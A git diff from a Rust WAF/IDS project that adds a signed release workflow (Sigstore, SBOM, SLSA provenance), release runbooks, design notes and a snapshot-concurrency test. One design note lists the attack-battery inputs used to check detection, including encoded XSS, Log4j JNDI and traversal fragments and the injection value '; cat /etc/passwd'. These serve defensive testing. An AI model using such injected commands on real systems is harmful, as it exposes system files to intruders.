diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 00000000..d4463c77 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,132 @@ +name: Release + +on: + push: + tags: + - "v*.*.*" + +permissions: + contents: write + packages: write + id-token: write + attestations: write + +jobs: + release: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + fetch-depth: 0 + - name: Admit annotated vX.Y.Z tag only + run: scripts/admit-release-tag.sh "$GITHUB_REF_NAME" + - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable + with: + toolchain: stable + - uses: sigstore/cosign-installer@d7543c93d881b35a8faa02e8e3605f69b7a1ce62 # v3.10.0 + - uses: anchore/sbom-action/download-syft@a930d0ac434e3182448fe678398ba5713717112a # v0.21.0 + - name: Build release binary + run: cargo build --locked --release + - name: Stage binary and binary SBOM + run: | + mkdir -p dist + cp target/release/waf-ids-ai-soc dist/waf-ids-ai-soc-linux-x86_64 + scripts/release-sbom.sh --output dist/sbom.spdx.json dist/waf-ids-ai-soc-linux-x86_64 + - name: Publish GHCR image by digest + id: image + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + echo "$GH_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin + image="ghcr.io/contextualwisdomlab/waf-ids-ai-soc" + tag="${GITHUB_REF_NAME}" + docker build -t "${image}:${tag}" . + push_out="$(docker push "${image}:${tag}")" + digest="$(printf '%s\n' "$push_out" | awk '{for (i=1;i<=NF;i++) if ($i ~ /^sha256:/) d=$i} END{print d}')" + test -n "$digest" + ref="${image}@${digest}" + printf '%s\n' "$ref" > dist/IMAGE-DIGEST.txt + scripts/release-sbom.sh --output dist/image.sbom.spdx.json "$ref" + echo "ref=${ref}" >> "$GITHUB_OUTPUT" + echo "digest=${digest}" >> "$GITHUB_OUTPUT" + echo "image=${image}" >> "$GITHUB_OUTPUT" + - name: Checksums and keyless blob signatures + run: | + set -euo pipefail + (cd dist && ../scripts/release-checksums.sh \ + waf-ids-ai-soc-linux-x86_64 \ + sbom.spdx.json \ + image.sbom.spdx.json \ + IMAGE-DIGEST.txt > SHA256SUMS) + cat dist/SHA256SUMS + cosign sign-blob --yes \ + --bundle dist/waf-ids-ai-soc-linux-x86_64.sigstore.json \ + dist/waf-ids-ai-soc-linux-x86_64 + cosign sign-blob --yes \ + --bundle dist/SHA256SUMS.sigstore.json \ + dist/SHA256SUMS + cosign sign-blob --yes \ + --bundle dist/sbom.spdx.json.sigstore.json \ + dist/sbom.spdx.json + cosign sign-blob --yes \ + --bundle dist/image.sbom.spdx.json.sigstore.json \ + dist/image.sbom.spdx.json + cosign sign-blob --yes \ + --bundle dist/IMAGE-DIGEST.txt.sigstore.json \ + dist/IMAGE-DIGEST.txt + - name: Sign image and attest image SBOM (keyless) + run: | + set -euo pipefail + ref="${{ steps.image.outputs.ref }}" + cosign sign --yes "$ref" + cosign attest --yes --predicate dist/image.sbom.spdx.json --type spdxjson "$ref" + - name: SLSA provenance for binary + uses: actions/attest-build-provenance@977bb373ede98d70efdf65b84cb5f73e068dcc2a # v3.0.0 + with: + subject-path: dist/waf-ids-ai-soc-linux-x86_64 + - name: SLSA provenance for image + uses: actions/attest-build-provenance@977bb373ede98d70efdf65b84cb5f73e068dcc2a # v3.0.0 + with: + subject-name: ghcr.io/contextualwisdomlab/waf-ids-ai-soc + subject-digest: ${{ steps.image.outputs.digest }} + push-to-registry: true + - name: Attest binary SBOM + uses: actions/attest-sbom@115c3be05ff3974bcbd596578934b3f9ce39bf68 # v2.2.0 + with: + subject-path: dist/waf-ids-ai-soc-linux-x86_64 + sbom-path: dist/sbom.spdx.json + - name: Attest image SBOM + uses: actions/attest-sbom@115c3be05ff3974bcbd596578934b3f9ce39bf68 # v2.2.0 + with: + subject-name: ghcr.io/contextualwisdomlab/waf-ids-ai-soc + subject-digest: ${{ steps.image.outputs.digest }} + sbom-path: dist/image.sbom.spdx.json + push-to-registry: true + - name: GitHub Release + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + notes="$(mktemp)" + { + echo "Promotion authority is the image digest and Sigstore signatures, not the tag." + echo + echo "Image: \`${{ steps.image.outputs.ref }}\`" + echo "Tag alias: \`ghcr.io/contextualwisdomlab/waf-ids-ai-soc:${GITHUB_REF_NAME}\`" + echo + echo "Verify: \`docs/runbooks/release.md\`" + } > "$notes" + gh release create "$GITHUB_REF_NAME" \ + dist/waf-ids-ai-soc-linux-x86_64 \ + dist/SHA256SUMS \ + dist/sbom.spdx.json \ + dist/image.sbom.spdx.json \ + dist/IMAGE-DIGEST.txt \ + dist/waf-ids-ai-soc-linux-x86_64.sigstore.json \ + dist/SHA256SUMS.sigstore.json \ + dist/sbom.spdx.json.sigstore.json \ + dist/image.sbom.spdx.json.sigstore.json \ + dist/IMAGE-DIGEST.txt.sigstore.json \ + --notes-file "$notes" \ + --verify-tag diff --git a/CHANGELOG.md b/CHANGELOG.md index 883bb7e4..b0f25247 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,7 +9,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Security +- Release admission refuses lightweight/unsigned `vX.Y.Z` tags (`scripts/admit-release-tag.sh`). Kubernetes pin is the GHCR content digest (`scripts/pin-k8s-digest.sh`); tag aliases are rejected. +- Tagged releases (`vX.Y.Z`) build a locked binary, basename SHA-256 checksums, SPDX SBOMs (binary and image), keyless Sigstore signatures (OIDC, no stored Cosign key), GitHub SLSA provenance, and a GHCR image signed **by digest**. The GitHub Release is created only after signatures succeed. Promotion authority is the digest in `IMAGE-DIGEST.txt`, not the tag alias. No moving `latest` tag (`docs/runbooks/release.md`). +- PostgreSQL outbox consumers for TAXII poll, Clearfolio document submit, and contextual-orchestrator SOC analysis (issue #81 remainder). Operator-triggered HTTP leaves through `taxii.collection_polled`, `clearfolio.document_submitted`, and `soc.analysis_requested` with leased-worker retries and unique receipts. Request path returns HTTP 202 and `GET /api/outbox/{message_id}` exposes receipt evidence. Secrets never enter outbox payloads (TAXII bearer lives in the credential registry). File/memory adapters keep the previous synchronous path. Client IPs, paths, indicator values, and actor names stay unmasked. LLM analysis remains advisory and never auto-enforces. + + - PostgreSQL `security_event` is HASH-partitioned by `tenant_id` (8 children). Unpartitioned tables convert in place and keep unmasked client IPs and paths. `/healthz.event_partitions` reports the child count (0 on file/memory). Logical restore still accepts schema 2 through the current migration version; HASH does not change the snapshot shape. +- PostgreSQL snapshot persist is optimistic-concurrency: `tenant_account.snapshot_version` must match the loaded token or the write returns a snapshot conflict (HTTP 409). Restores overwrite. File/memory adapters stay single-writer. - PostgreSQL control-plane runtime is `wardnet_runtime` (NOSUPERUSER, NOBYPASSRLS, not the table owner). Migrations run as the login role, then `SET ROLE` so FORCE RLS binds even when the URL user is a superuser. Missing `wardnet.tenant_id` yields no rows. DDL (`DROP TABLE`, `DISABLE ROW LEVEL SECURITY`) is denied. Logical restore accepts schema 2 through the current migration version so a role-only upgrade cannot void the last pre-upgrade backup. - PostgreSQL control-plane logical backup and isolated restore drill (issue #80 remainder). `GET /api/backup` exports a hashed tenant snapshot (policy, events, outbox, receipts). `POST /api/backup` restores after schema and payload-hash checks. `POST /api/backup/drill` restores into an isolated tenant, compares unmasked invariants, and drops the drill tenant. Declared RPO is the last successful export; declared RTO is 60 seconds. File/memory adapters report `/healthz.backup=disabled`. Client IPs, paths, and actor names stay unmasked. - PostgreSQL control-plane mutations enqueue a transactional outbox row in the same transaction (issue #81). Security events append incrementally instead of rewriting the snapshot. A leased worker claims with `FOR UPDATE SKIP LOCKED`, retries with bounded backoff, dead-letters exhausted/permanent failures, and records unique receipts. Stdout SIEM export is at-least-once; the receipt is the exactly-once ack. `/healthz.outbox` and `GET /api/outbox` are operator-visible; `POST /api/outbox/{id}/replay` requeues dead letters with audit. File/memory adapters report `outbox=disabled`. `GET /api/outbox` is bounded to `EVENT_LIMIT` (dead letters and pending first). Processed `outbox_message` rows are pruned to that same cap on append, snapshot save, and worker ack; receipts stay as the exactly-once ack. diff --git a/crates/waf-ids-core/src/lib.rs b/crates/waf-ids-core/src/lib.rs index b22c7d24..c886b8ae 100644 --- a/crates/waf-ids-core/src/lib.rs +++ b/crates/waf-ids-core/src/lib.rs @@ -22,6 +22,9 @@ pub struct AppData { pub commercial: CommercialProfile, #[serde(default)] pub threat_feeds: Vec, + /// Postgres optimistic-concurrency token. File/memory ignore it. + #[serde(default, skip)] + pub snapshot_version: u64, } impl AppData { @@ -56,6 +59,7 @@ impl AppData { next_audit_log_id: 1, commercial: CommercialProfile::seeded(), threat_feeds: Vec::new(), + snapshot_version: 0, } } } @@ -1123,12 +1127,16 @@ pub fn commercial_readiness_snapshot_at(data: &AppData, now_unix: u64) -> Commer "Dockerfile".to_string(), "deploy/docker-compose.yml".to_string(), "deploy/kubernetes/waf-ids-ai-soc.yaml".to_string(), + ".github/workflows/release.yml".to_string(), ], buyer_evidence: vec![ "docs/commercial/20b-krw-sale-readiness.md".to_string(), "docs/commercial/buyer-due-diligence.md".to_string(), "docs/security/threat-model.md".to_string(), "docs/security/compliance-mapping.md".to_string(), + "docs/runbooks/release.md".to_string(), + "docs/doctoring/signed-release.md".to_string(), + "docs/papers/nist-sp-800-218-ssdf.pdf".to_string(), ], } } @@ -1165,6 +1173,9 @@ pub fn buyer_evidence_manifest_at(data: &AppData, now_unix: u64) -> BuyerEvidenc "docs/product-design/enterprise-operator-workflows.md".to_string(), "docs/figma/enterprise-product-architecture.md".to_string(), "docs/ponytail/2026-07-02-complexity-audit.md".to_string(), + "docs/runbooks/release.md".to_string(), + "docs/doctoring/signed-release.md".to_string(), + "docs/papers/nist-sp-800-218-ssdf.pdf".to_string(), ], deployment_assets: readiness.deployment_assets, } @@ -1731,4 +1742,14 @@ mod tests { assert_eq!(data.next_audit_log_id, 3); assert_eq!(data.audit_logs[0].resource_id, "edge"); } + + #[test] + fn snapshot_version_is_runtime_only_in_serialized_state() { + let mut data = AppData::seeded(); + data.snapshot_version = 42; + let json = serde_json::to_string(&data).unwrap(); + assert!(!json.contains("snapshot_version")); + let restored: AppData = serde_json::from_str(&json).unwrap(); + assert_eq!(restored.snapshot_version, 0); + } } diff --git a/docs/architecture.md b/docs/architecture.md index 6edc3e53..b4cd0f01 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -29,12 +29,13 @@ flowchart LR - `src/main.rs`: process startup and operator configuration from `BIND_ADDR`, `ADMIN_TOKEN`, `WAF_IDS_STATE_PATH`, `DNSBL_ORIGIN`, and `EVENT_LIMIT`. - `src/lib.rs`: Axum app, routing, management APIs, optional JSON persistence, gateway handler, upstream proxying, admin console, support bundle assembly, NDJSON event export, and in-crate HTTP tests. Persistence, destination-list, and sidecar settings validate before the readiness line is printed. -- `src/control_plane.rs`: PostgreSQL production authority (issue #80). Non-loopback binds require `CONTROL_PLANE_DATABASE_URL`. Tenant isolation is default-deny RLS under `wardnet_runtime` (not superuser/owner). `sslmode=require` uses rustls. `security_event` is HASH-partitioned by `tenant_id` (`/healthz.event_partitions`). The JSON file adapter remains loopback/community only. -- `src/outbox.rs`: transactional outbox + leased workers (issue #81). Security events append incrementally with an outbox row in the same transaction. Workers claim with `SKIP LOCKED`. `GET /api/outbox` is bounded to `EVENT_LIMIT` (processed rows pruned; receipts kept). `/healthz.outbox` is operator-visible. +- `src/control_plane.rs`: PostgreSQL production authority (issue #80). Non-loopback binds require `CONTROL_PLANE_DATABASE_URL`. Tenant isolation is default-deny RLS under `wardnet_runtime` (not superuser/owner). Snapshot persist is optimistic-concurrency on `snapshot_version` (HTTP 409). `sslmode=require` uses rustls. `security_event` is HASH-partitioned by `tenant_id` (`/healthz.event_partitions`). The JSON file adapter remains loopback/community only. +- `src/outbox.rs`: transactional outbox + leased workers (issue #81). Security events append incrementally with an outbox row in the same transaction. Workers claim with `SKIP LOCKED`. `GET /api/outbox` is bounded to `EVENT_LIMIT` (processed rows pruned; receipts kept). `GET /api/outbox/{id}` returns receipt evidence for TAXII, Clearfolio, and SOC analysis consumers. `/healthz.outbox` is operator-visible. HTTP consumers release the PostgreSQL client lock before outbound I/O. - `src/destination.rs`: fail-closed outbound URL policy (issue #79) for every `http`/`https` send. CIDR allowlist exceptions are per resolved address; blocking DNS is offloaded from Tokio workers. The outbound HTTP client DNS resolver returns only addresses that already passed policy (TCP peer pin / DNS-rebinding TOCTOU close). - `crates/waf-ids-core`: reusable domain models plus validation, upsert, scoring, DNSBL zone export, event retention, threat-feed freshness, KPI snapshot, and commercial readiness logic. - `/admin`: embedded web console. - `/gateway/{path}`: route selection, request scoring, monitor/block decision, optional upstream proxying. +- `.github/workflows/release.yml`: annotated `vX.Y.Z` tags only (lightweight tags are refused). Builds a locked binary, basename SHA-256 checksums, SPDX SBOMs, keyless Sigstore signatures, SLSA provenance, and a GHCR image signed by digest. Kubernetes pin is `IMAGE-DIGEST.txt` (`docs/runbooks/release.md`). - `/dnsbl/zone`: DNSBL zone text using the configured origin, suitable for publication through an authoritative DNS server. - `/api/commercial/license`: tenant/license metadata for commercial packaging. - `/api/commercial/readiness`: computed 2B KRW sale-readiness checks and blockers. diff --git a/docs/doctoring/ci-attack-evidence-battery.md b/docs/doctoring/ci-attack-evidence-battery.md new file mode 100644 index 00000000..8e6fcc24 --- /dev/null +++ b/docs/doctoring/ci-attack-evidence-battery.md @@ -0,0 +1,71 @@ +# Doctoring — CI attack-evidence battery (issue #11) + +This note grounds the issue #11 slice: the compiled gateway binary is started +in CI with a hermetic libcoraza engine, a deterministic OWASP CRS attack +battery is fired over real HTTP, and every attempt must be blocked with the +cited CRS rule id and recorded as a security event that keeps the forwarded +client IP unmasked. + +## What is proven (and what is not) + +Proven end to end on the real binary: operator-supplied `CORAZA_LIB_PATH` +loading, rules-file admission, per-transaction evaluation of method/URI/body, +block responses citing `coraza/crs: rule `, benign traffic still +forwarding, and unmasked client attribution in `/api/events`. + +Not proven: detection *quality* against arbitrary live traffic. The CI engine +is the build-script ABI stub (`src/coraza_abi_stub.rs`), a fixture that +mirrors the libcoraza C ABI, not Coraza itself. Quality evidence stays with an +operator deployment using a real libcoraza plus the OWASP Core Rule Set; this +slice only removes "the path was never exercised in CI" from the gap list. + +## Adopted standards and literature + +OWASP Foundation. (n.d.). *OWASP Core Rule Set documentation*. +https://coreruleset.org/docs/ + +- **Design impact:** Battery entries map to canonical CRS rule families — + 942100 SQLi (libinjection), 941100 XSS (libinjection), 930100 path + traversal, 932100 Unix command injection, 944120 Log4j JNDI. Rule ids in + block reasons and events stay CRS ids so operator dashboards read the same + vocabulary in CI evidence and production. + +Scarfone, K., & Mell, P. (2007). *Guide to intrusion detection and prevention +systems (IDPS)* (NIST Special Publication 800-94). National Institute of +Standards and Technology. https://doi.org/NIST.SP.800-94 + +- **Design impact:** IDPS evaluation distinguishes the detection *path* from + detection *efficacy*. SP 800-94's testing guidance motivates keeping the two + claims separate: CI asserts the prevention path (signature → interrupt → + block → record), while efficacy against evasive payloads requires curated + corpora and is explicitly out of scope for this fixture. + +Saltzer, J. H., & Schroeder, M. D. (1975). The protection of information in +computer systems. *Proceedings of the IEEE*, *63*(9), 1278–1308. +https://doi.org/10.1109/PROC.1975.9939 + +- **Design impact:** Complete mediation and fail-safe defaults. The battery + runs through the same route pipeline (`mode: block`) as production traffic, + so no test-only bypass exists; an engine that fails to load refuses startup + before bind instead of degrading silently. + +MITRE. (n.d.). *CWE-20: Improper input validation*. MITRE Corporation. +https://cwe.mitre.org/data/definitions/20.html + +- **Design impact:** The battery covers encoded variants (`%3Cscript`, + `%24%7BJNDI`, `..%2F`) because input-validation defects classically live at + decoding boundaries; the gateway evaluates the raw request line exactly as + received, so fixtures pin that behavior rather than a decoded copy. + +## Verification posture + +- `tests/binary.rs::live_gateway_detects_owasp_attack_battery_end_to_end` + spawns the binary, creates the block route over the admin API, fires nine + battery cases (GET query attacks across five rule families plus a POST-body + XSS), asserts HTTP 403 + `engine=coraza` + cited rule id per case, asserts a + benign request forwards, and asserts `/api/events` records one event per + attempt with `X-Forwarded-For` preserved verbatim. +- `src/coraza_inprocess.rs::stub_engine_battery_matches_each_owasp_family` + pins the fixture contract itself, including first-match ordering so the + overlapping `; cat /etc/passwd` payload attributes to RCE (932100), not + traversal. diff --git a/docs/doctoring/outbox-workers.md b/docs/doctoring/outbox-workers.md index cb6337a3..3f3c7d23 100644 --- a/docs/doctoring/outbox-workers.md +++ b/docs/doctoring/outbox-workers.md @@ -50,6 +50,9 @@ the exactly-once ack. Dead letters are never pruned. Loopback file/memory adapters keep in-process stdout SIEM and report `outbox=disabled`. `security_event` HASH partitioning is on the PostgreSQL -plane. Remaining consumers: TAXII poll, Clearfolio, contextual-orchestrator -on the same message/receipt contract. Backup/restore drill is on the -PostgreSQL plane. +plane. TAXII poll, Clearfolio submit, and contextual-orchestrator analysis +use the same message/receipt contract on PostgreSQL (`GET /api/outbox/{id}` +for receipt evidence). HTTP dispatch releases the database lock for the +outbound call. Inline TAXII secrets are rejected on the durable path; +`taxii_bearer` is a credential-registry secret. Backup/restore drill is on +the PostgreSQL plane. diff --git a/docs/doctoring/postgres-control-plane.md b/docs/doctoring/postgres-control-plane.md index 5f6795cd..2c5474e0 100644 --- a/docs/doctoring/postgres-control-plane.md +++ b/docs/doctoring/postgres-control-plane.md @@ -87,8 +87,6 @@ queries prune and high-volume appends do not share one btree. Existing unpartitioned tables convert under `pg_advisory_lock`; rows keep unmasked client IPs and paths. `/healthz.event_partitions` reports the child count. -Remaining: optimistic concurrency. - Management mutations currently persist one transactionally consistent tenant snapshot: they replace the tenant's management rows and retained `security_event` rows, then enqueue one snapshot outbox message. Event ingest @@ -96,3 +94,8 @@ itself remains incremental. This makes an administrative write O(retained events); operators should keep `EVENT_LIMIT` bounded and monitor transaction latency. A future measured scaling step is table-specific management upserts that preserve the same atomic outbox contract. + +Snapshot persist compares `tenant_account.snapshot_version` and fails closed +on a stale token (HTTP 409). Operator restores overwrite the token. + +Remaining: additional outbox consumers (TAXII / Clearfolio / orchestrator). diff --git a/docs/doctoring/signed-release.md b/docs/doctoring/signed-release.md new file mode 100644 index 00000000..306bcc64 --- /dev/null +++ b/docs/doctoring/signed-release.md @@ -0,0 +1,46 @@ +# Doctoring — signed release, SBOM, and provenance + +This note grounds issue #84 remainder (keyless Sigstore signatures and +SBOM/SLSA attestations on the same `vX.Y.Z` tag as checksums/GHCR). +IEEE/ACM PDFs are not redistributed. NIST SP 800-218 is a U.S. government +work and is committed at `docs/papers/nist-sp-800-218-ssdf.pdf`. + +## Adopted standards and literature + +Sigstore. (n.d.). *Cosign documentation*. https://docs.sigstore.dev/cosign/ + +- **Design impact:** The release workflow uses GitHub OIDC (`id-token: write`) + for keyless signing. No long-lived Cosign key is stored. Blobs (binary, + `SHA256SUMS`, SBOMs, image digest file) get `cosign sign-blob` bundles. + The GHCR image is signed by digest (`image@sha256:…`), never by a moving + tag. + +SLSA Project. (2025). *SLSA specification version 1.2*. +https://slsa.dev/spec/v1.2/ + +- **Design impact:** `actions/attest-build-provenance` binds the binary and + the image digest to in-toto SLSA provenance. `actions/attest-sbom` binds + SPDX SBOMs to the same subjects. GitHub Release is created only after + signatures and attestations succeed. + +National Institute of Standards and Technology. (2022). *Secure Software +Development Framework (SSDF) version 1.1* (NIST SP 800-218). +https://doi.org/10.6028/NIST.SP.800-218 +`docs/papers/nist-sp-800-218-ssdf.pdf` + +- **Design impact:** PS.3 / PW.4 — produce integrity evidence (checksums, + SBOM, signatures, provenance) for the shipped artifact. A tag alias is + not promotion authority; operators verify the digest and signatures + (`docs/runbooks/release.md`). + +Anchore. (n.d.). *Syft*. https://github.com/anchore/syft + +- **Design impact:** `scripts/release-sbom.sh` fails closed without Syft and + rejects non-SPDX JSON. Binary and container filesystem SBOMs are both + attached to the GitHub Release. + +## Operator next action + +Tag `vX.Y.Z` from the reviewed merge commit on `main`. After the Release +workflow finishes, verify with the commands in `docs/runbooks/release.md`. +Point Kubernetes at the digest in `IMAGE-DIGEST.txt`, not at `latest`. diff --git a/docs/papers/nist-sp-800-218-ssdf.pdf b/docs/papers/nist-sp-800-218-ssdf.pdf new file mode 100644 index 00000000..0158f4eb Binary files /dev/null and b/docs/papers/nist-sp-800-218-ssdf.pdf differ diff --git a/docs/product-technical-gap-baseline.md b/docs/product-technical-gap-baseline.md index a53ca10f..eeb46a39 100644 --- a/docs/product-technical-gap-baseline.md +++ b/docs/product-technical-gap-baseline.md @@ -1,6 +1,6 @@ # Product and technical gap baseline -Snapshot date: 2026-08-23T19:00Z (exact-head inventory of then-open GitHub PRs +Snapshot date: 2026-08-23T20:06Z (exact-head inventory of then-open GitHub PRs and Issues plus operator-perceptible gaps). Update this file on every hourly loop. Commercial contract and `/api/commercial/readiness` remain **2B KRW**. The @@ -25,7 +25,8 @@ not “waiting on review/CI time”. | PR | Title | Head | Checks | Reviews | Merge blocker | | --- | --- | --- | --- | --- | --- | -| [#104](https://github.com/ContextualWisdomLab/wardnet/pull/104) | feat(store): HASH-partition security_event by tenant | `feat/issue-80-event-hash-partition` stacked on #103 | local fmt/test/clippy + two `scripts/smoke.sh` + live postgres `/healthz.event_partitions=8` | Author this pass | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #100 then #103 first. Do not `--admin`. Do not re-implement runtime role. | +| [#105](https://github.com/ContextualWisdomLab/wardnet/pull/105) | feat(store): optimistic concurrency on postgres snapshots | `feat/issue-80-optimistic-concurrency` stacked on #99 | Devin still-valid startup-version 409 fixed this pass (`load_postgres` advances `snapshot_version` after save); local fmt/test/clippy + two `/healthz` smokes | Author; Devin COMMENTED (startup false-conflict addressed) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 first. Do not `--admin`. Do not re-implement HASH/role/backup. | +| [#104](https://github.com/ContextualWisdomLab/wardnet/pull/104) | feat(store): HASH-partition security_event by tenant | merged into rustls stack then #99 | prior hour | Author prior hour | Folded into #99. Do not re-implement. | | [#103](https://github.com/ContextualWisdomLab/wardnet/pull/103) | feat(store): non-owner PostgreSQL runtime role after migrate | `feat/issue-80-runtime-role` stacked on #100 | still-valid Devin restore-window finding fixed this pass (`MIN_RESTORABLE_SCHEMA_VERSION=2`); local fmt/test/clippy + smokes | Author this pass; Devin COMMENTED (v3 backup voiding addressed) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #100 first. Do not `--admin`. Do not re-implement rustls, outbox, retention, backup, or HASH. | | [#102](https://github.com/ContextualWisdomLab/wardnet/pull/102) | feat(store): logical backup and isolated restore drill | squash-merged into #100 (`321e792`) | prior hour | Author prior hour | Folded into rustls stack. Do not re-implement. | | [#101](https://github.com/ContextualWisdomLab/wardnet/pull/101) | feat(store): bound outbox listing and prune processed rows | `feat/issue-81-outbox-retention` (`0c2167a`) stacked on #100 | still-valid Devin prune-cap finding fixed this pass (`EVENT_LIMIT` on save/ack) | Author; Devin COMMENTED (prune thread addressed) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #100 first. Do not `--admin`. | @@ -59,8 +60,8 @@ by ruleset `18156473` (not by failing Checks). Do not `--admin` merge. | [#84](https://github.com/ContextualWisdomLab/wardnet/issues/84) | [P1] Build an immutable signed release, promotion, and rollback pipeline | high | | [#83](https://github.com/ContextualWisdomLab/wardnet/issues/83) | [P1] Add bounded distributed admission control, trusted client attribution, and overload behavior | high | | [#82](https://github.com/ContextualWisdomLab/wardnet/issues/82) | [P1] Integrate Keyverse identity, tenant authorization, consent, and human approval evidence | high (blocked) | -| [#81](https://github.com/ContextualWisdomLab/wardnet/issues/81) | [P0] Add a transactional outbox and idempotent leased workers for external effects | **critical — first slice on #99; bounded list/retention on #101** | -| [#80](https://github.com/ContextualWisdomLab/wardnet/issues/80) | [P0] Add an authoritative PostgreSQL control plane with tenant isolation and recoverable migrations | **critical — gate on #98; rustls/backup on #100; non-owner role on #103; HASH partitions this pass** | +| [#81](https://github.com/ContextualWisdomLab/wardnet/issues/81) | [P0] Add a transactional outbox and idempotent leased workers for external effects | **critical — first slice on #99; retention on #101; TAXII/Clearfolio/orchestrator consumers this pass** | +| [#80](https://github.com/ContextualWisdomLab/wardnet/issues/80) | [P0] Add an authoritative PostgreSQL control plane with tenant isolation and recoverable migrations | **critical — gate on #98; rustls/backup/role/HASH on #99; OCC on #105** | | [#79](https://github.com/ContextualWisdomLab/wardnet/issues/79) | [P0] Enforce a fail-closed destination policy for all outbound traffic | **critical — closed in runtime on #96** | | [#78](https://github.com/ContextualWisdomLab/wardnet/issues/78) | [P0] Fail closed when management credentials are absent | **critical — closed in runtime on #94** | | [#75](https://github.com/ContextualWisdomLab/wardnet/issues/75) | Rename Kubernetes manifest to wardnet.yaml after external-secret hardening lands | medium | @@ -116,8 +117,9 @@ Logical restore accepts schema 2 through the current migration version void pre-upgrade snapshots. `security_event` is `PARTITION BY HASH (tenant_id)` with 8 children. Unpartitioned tables convert in place under `pg_advisory_lock`. `/healthz.event_partitions` is 8 on PostgreSQL, 0 on file/memory. Client IPs -and paths stay unmasked across convert. Remaining: optimistic concurrency. -Physical/PITR backups stay a DBA concern. +and paths stay unmasked across convert. Optimistic concurrency is on #105 +(`tenant_account.snapshot_version`, HTTP 409; startup save now advances the +in-memory token). Physical/PITR backups stay a DBA concern. ### Transactional outbox (issue #81) — **first slice on #99; retention on #101** @@ -132,8 +134,13 @@ dead-letter counts, `GET /api/outbox` (admin read), `POST /api/outbox/{id}/repla (admin write + audit). Client IPs and paths in payloads are not masked. File/memory adapters stay `outbox=disabled` with in-process stdout. `GET /api/outbox` is bounded to `EVENT_LIMIT`; processed rows prune to that cap on append, snapshot -save, and worker ack; dead letters stay. Remaining consumers: TAXII poll, -Clearfolio, contextual-orchestrator on the same contract. +save, and worker ack; dead letters stay. TAXII poll, Clearfolio submit, and +contextual-orchestrator analysis enqueue on PostgreSQL (`taxii.collection_polled`, +`clearfolio.document_submitted`, `soc.analysis_requested`) and return HTTP 202. +`GET /api/outbox/{id}` returns receipt evidence. Secrets never enter payloads +(`taxii_bearer` / `soc_llm_token` in the credential registry). File/memory stays +synchronous. LLM analysis is advisory and never auto-enforces. Client IPs, paths, +and indicator values stay unmasked. ### Fail-closed credentials (issue #78) — **closed on PR #94** @@ -185,9 +192,9 @@ holes on untouched handlers stay listed for later loops. ### Ecosystem connectors (leverage order) 1. **keyverse** — identity for management plane (#82). -2. **contextual-orchestrator** — SOC LLM already optional via - `SOC_LLM_BASE_URL`; keep adapter, do not fork routing. Next: same outbox - contract. +2. **contextual-orchestrator** — SOC LLM optional via `SOC_LLM_BASE_URL`; + token from credential registry (`soc_llm_token`). Same outbox contract on + PostgreSQL this pass. Do not fork routing. 3. **naruon** / **clearfolio** — document viewer already optional. 4. **TEPP / RankWeave / ThreadWeave / LineageWeave / disksage / fast-mlsirm** — not on the gateway data path; no connector this pass. @@ -249,12 +256,23 @@ the last pre-upgrade logical backup. Do not re-implement #78, sidecar, pin, libcoraza, the postgres gate, outbox, rustls, retention, backup/restore, or the runtime role. +Issue **#80** last remainder: optimistic concurrency on +`tenant_account.snapshot_version`. Stale snapshot persist returns HTTP 409. +Restores overwrite. Do not re-implement #78, sidecar, pin, libcoraza, the +postgres gate, outbox, rustls, retention, backup/restore, runtime role, or HASH. + +Issue **#81** extra consumers stacked on #105: TAXII poll, Clearfolio submit, +and contextual-orchestrator SOC analysis go through the leased outbox on +PostgreSQL. `load_postgres` also advances `snapshot_version` after the startup +save so the first management write cannot false-conflict (Devin #105). Do not +re-implement #78, sidecar, pin, libcoraza, the postgres gate, outbox, rustls, + retention, backup/restore, runtime role, HASH, or OCC. + ## Next hourly loop (do, do not report) 1. Second independent APPROVE on #91/#92. Do not `--admin`. -2. Keep #94/#95/#96/#97/#98/#99/#100/#103 and #104 merge-ready. - Merge order #94 independently; #95 then #96 then #97 then #98 then #99 - then #100 then #103 then #104. -3. Next runtime gap if policy still blocks: extra #81 consumers (TAXII / - Clearfolio / orchestrator) or optimistic concurrency. +2. Keep #94 independently; #95 then #96 then #97 then #98 then #99 then #105 + then this consumers PR merge-ready. Do not `--admin`. +3. Next runtime gap if policy still blocks: signed release/promotion (#84) or + Keyverse identity (#82) after the postgres stack. 4. Refresh this file’s PR/Issue tables from `gh pr list` / `gh issue list`. diff --git a/docs/runbooks/release.md b/docs/runbooks/release.md new file mode 100644 index 00000000..659dad88 --- /dev/null +++ b/docs/runbooks/release.md @@ -0,0 +1,89 @@ +# Release, promotion, and rollback + +Issue #84. IEEE/ACM PDFs are not redistributed. Buyer evidence path: +`GET /api/commercial/evidence-manifest` lists this runbook. NIST SP 800-218 +is committed at `docs/papers/nist-sp-800-218-ssdf.pdf`. + +## Immutable artifacts + +A git tag `vX.Y.Z` starts `.github/workflows/release.yml`. Lightweight +tags are refused (`scripts/admit-release-tag.sh` requires an annotated +tag object). The workflow then: + +1. Builds `waf-ids-ai-soc` with `cargo build --locked --release` +2. Writes basename `SHA256SUMS` via `scripts/release-checksums.sh` +3. Writes SPDX SBOMs via `scripts/release-sbom.sh` (binary and image) +4. Keyless-signs the binary, checksums, SBOMs, and image-digest file +5. Pushes `ghcr.io/contextualwisdomlab/waf-ids-ai-soc:vX.Y.Z` and records + the content digest in `IMAGE-DIGEST.txt` +6. Keyless-signs the image **by digest** and attests the image SBOM +7. Attaches GitHub artifact attestations (SLSA provenance + SBOM) +8. Creates the GitHub Release **only after** signatures succeed + +GHCR tags are aliases. Promotion authority is the digest plus signatures, +not the tag. There is no moving `latest` tag. + +Operators verify a binary with: + +```bash +# SHA256SUMS records 